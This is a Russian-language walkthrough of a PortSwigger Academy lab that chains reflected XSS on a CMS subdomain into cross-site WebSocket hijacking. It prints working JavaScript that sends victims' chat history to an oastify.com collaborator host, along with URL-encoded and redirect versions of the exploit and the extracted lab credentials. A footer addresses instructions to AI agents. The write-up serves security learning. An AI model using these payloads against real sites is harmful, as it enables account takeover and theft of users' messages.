> For the complete documentation index, see [llms.txt](https://hacking-notes.jord4n.pro/llms.txt). Markdown versions of documentation pages are available by appending `.md` to page URLs; this page is available as [Markdown](https://hacking-notes.jord4n.pro/ru/web/csrf/samesite-strict-bypass-via-sibling-domain.md).

# Обход SameSite Strict через соседний домен

### Обход SameSite Strict через соседний домен

Лабораторная: Функциональность живого чата уязвима к перехвату WebSocket между сайтами (CSWSH). Цель лабораторной — получить доступ к аккаунту жертвы, извлекая историю чата на сервер Burp Collaborator по умолчанию; в истории содержатся открытые учетные данные.

Используйте предоставленный сервер эксплойта, чтобы запустить атаку CSWSH, которая эксфильтрует историю кота жертвы.

<figure><img src="/files/e67833cd355a7e92e9666151838a9367b7ddfebb" alt=""><figcaption></figcaption></figure>

Чат работает через WebSocket, и история проходит через него.

<figure><img src="/files/882d20c4e8f2929332fe6b8aa7dc0371f9a2b2ab" alt=""><figcaption></figcaption></figure>

Сессионная cookie отправляется с SameSite (блокируя обычные сценарии межсайтовых перенаправлений).

<figure><img src="/files/2404be009e0d25cdcd39dc2d57ca65aade66180b" alt=""><figcaption></figcaption></figure>

Файл JavaScript на стороне клиента (например, `chat.js`) загружается из поддомена CMS, который возвращает `Access-Control-Allow-Origin` заголовок, разрешающий взаимодействие с этим поддоменом.

<figure><img src="/files/996d2faec4f18b1219bf7187b13a6bc207ed4123" alt=""><figcaption></figcaption></figure>

Панель аутентификации CMS уязвима к внедрению скрипта через `username` параметр (например, `?username=<script>alert(0)</script>&password=test`).

<figure><img src="/files/3f0c9294c20fd6b856b92133d4df8fe3c97fbde7" alt="" width="375"><figcaption></figcaption></figure>

```javascript
<script>alert(0)</script>
```

<figure><img src="/files/f6c97a2c20309e5832e115e88070eb9f25aaa3cb" alt=""><figcaption></figcaption></figure>

```
/login?username=<script>alert(0)</script>&password=test
```

<figure><img src="/files/52b36884424942956c148f6147a110ba1bce0459" alt=""><figcaption></figcaption></figure>

Используя эту инъекцию, вы можете выполнить JavaScript в контексте уязвимого поддомена, тем самым установить аутентифицированное соединение WebSocket (cookie затем отправляются, поскольку источник тот же) с сервером чата.

### Подход (кратко)

1. Поместите вредоносный скрипт в `username` параметр формы входа поддомена CMS.
2. Этот скрипт открывает соединение WebSocket с сервером чата и отправляет `READY` сигнал.

{% code overflow="wrap" %}

```javascript
<script>
  var ws = new WebSocket("https://0a5900a203763a50c2810c7a0074009d.web-security-academy.net/chat");

  ws.onopen = function() {
    ws.send("READY");
  };

  ws.onmessage = function(info) {
    fetch("https://68cxlq1fllh96z60yqiw496jiao4cu0j.oastify.com/?data=" + btoa(info.data));
  };
</script>
```

{% endcode %}

3. После получения сообщений из WebSocket (история кота), `fetch` скрипт кодирует эти данные (base64) и отправляет их на сервер, контролируемый атакующим (OAST/Oastify).

```bash
/?data=eyJ1c2VyIjoiQ09OTkVDVEVEIiwiY29udGVudCI6Ii0tIE5vdyBjaGF0dGluZyB3aXRoIEhhbCBQbGluZSAtLSJ9
```

<figure><img src="/files/4dfd534c7068d13d8b876fe48d0f1d4eff8d6612" alt=""><figcaption></figcaption></figure>

Разместите/настройте перенаправление на сервере эксплойта, чтобы заставить жертву перейти по уязвимому URL (войти с `username` содержащим скрипт).

```bash
echo "eyJ1c2VyIjoiQ09OTkVDVEVEIiwiY29udGVudCI6Ii0tIE5vdyBjaGF0dGluZyB3aXRoIEhhbCBQbGluZSAtLSJ9" | base64 -d
```

#### Наблюдаемые результаты

* Когда был получен эксфильтрованный запрос, `файл` параметр содержал строку base64; при декодировании мы получаем вход кота.
* Пример полученной полезной нагрузки (после декодирования base64):

```json
{"user":"CONNECTED","content":"-- Сейчас чат с Hal Pline --"}
```

<figure><img src="/files/2eaa3567c2018761c5fac9b70c2ad07aa494e298" alt=""><figcaption></figcaption></figure>

<figure><img src="/files/b86e7d9764cb1c9cbbccfd4f1a26d67b89e41ec9" alt=""><figcaption></figcaption></figure>

Внедрив код из аутентифицированного контекста (поддомен CMS), скрипт передавал сообщения, содержащие пользовательские разговоры, и в данном случае — сообщение с учетными данными в открытом виде.

{% code overflow="wrap" %}

```
https://cms-0a5900a203763a50c2810c7a0074009d.web-security-academy.net/login?username=%3Cscript%3E+++var+ws+%3D+new+WebSocket%28%22https%3A%2F%2F0a5900a203763a50c2810c7a0074009d.web-security-academy.net%2Fchat%22%29%3B++++ws.onopen+%3D+function%28%29+%7B+++++ws.send%28%22READY%22%29%3B+++%7D%3B++++ws.onmessage+%3D+function%28info%29+%7B+++++fetch%28%22https%3A%2F%2F68cxlq1fllh96z60yqiw496jiao4cu0j.oastify.com%2F%3Fdata%3D%22+%2B+btoa%28info.data%29%29%3B+++%7D%3B+%3C%2Fscript%3E&password=ef
```

{% endcode %}

{% code overflow="wrap" %}

```javascript
<script>
  location="https://cms-0a5900a203763a50c2810c7a0074009d.web-security-academy.net/login?username=%3Cscript%3E+++var+ws+%3D+new+WebSocket%28%22https%3A%2F%2F0a5900a203763a50c2810c7a0074009d.web-security-academy.net%2Fchat%22%29%3B++++ws.onopen+%3D+function%28%29+%7B+++++ws.send%28%22READY%22%29%3B+++%7D%3B++++ws.onmessage+%3D+function%28info%29+%7B+++++fetch%28%22https%3A%2F%2F68cxlq1fllh96z60yqiw496jiao4cu0j.oastify.com%2F%3Fdata%3D%22+%2B+btoa%28info.data%29%29%3B+++%7D%3B+%3C%2Fscript%3E&password=ef";
</script>
```

{% endcode %}

#### Извлеченные учетные данные (как указано)

* `carlos:hdf3fkk8h7tnltupqs5t` (учетные данные найдены в истории кота)

{% code overflow="wrap" %}

```json
{"user":"Hal Pline","content":"Без проблем, carlos, это hdf3fkk8h7tnltupqs5t"}
```

{% endcode %}

<figure><img src="/files/6c8591adc9df57ca64b7ef9f90ee60b879820009" alt=""><figcaption></figcaption></figure>


---

# Agent Instructions
This documentation is published with GitBook. GitBook is the documentation platform designed so that both humans and AI agents can read, navigate, and reason over technical content effectively. Learn more at gitbook.com.

## Querying This Documentation
If you need additional information that is not directly available in this page, you can query the documentation dynamically by asking a question.

Perform an HTTP GET request on the current page URL with the `ask` query parameter, and the optional `goal` query parameter:

```
GET https://hacking-notes.jord4n.pro/ru/web/csrf/samesite-strict-bypass-via-sibling-domain.md?ask=<question>&goal=<endgoal>
```

`ask` is the immediate question: it should be specific, self-contained, and written in natural language.
`goal` is optional and describes the broader end goal you are ultimately trying to accomplish on behalf of the user. GitBook uses it to tailor the answer towards what is most useful for that goal.

The response will contain a direct answer to the question and relevant excerpts and sources from the documentation.

Use this mechanism when the answer is not explicitly present in the current page, you need clarification or additional context, or you want to retrieve related documentation sections.
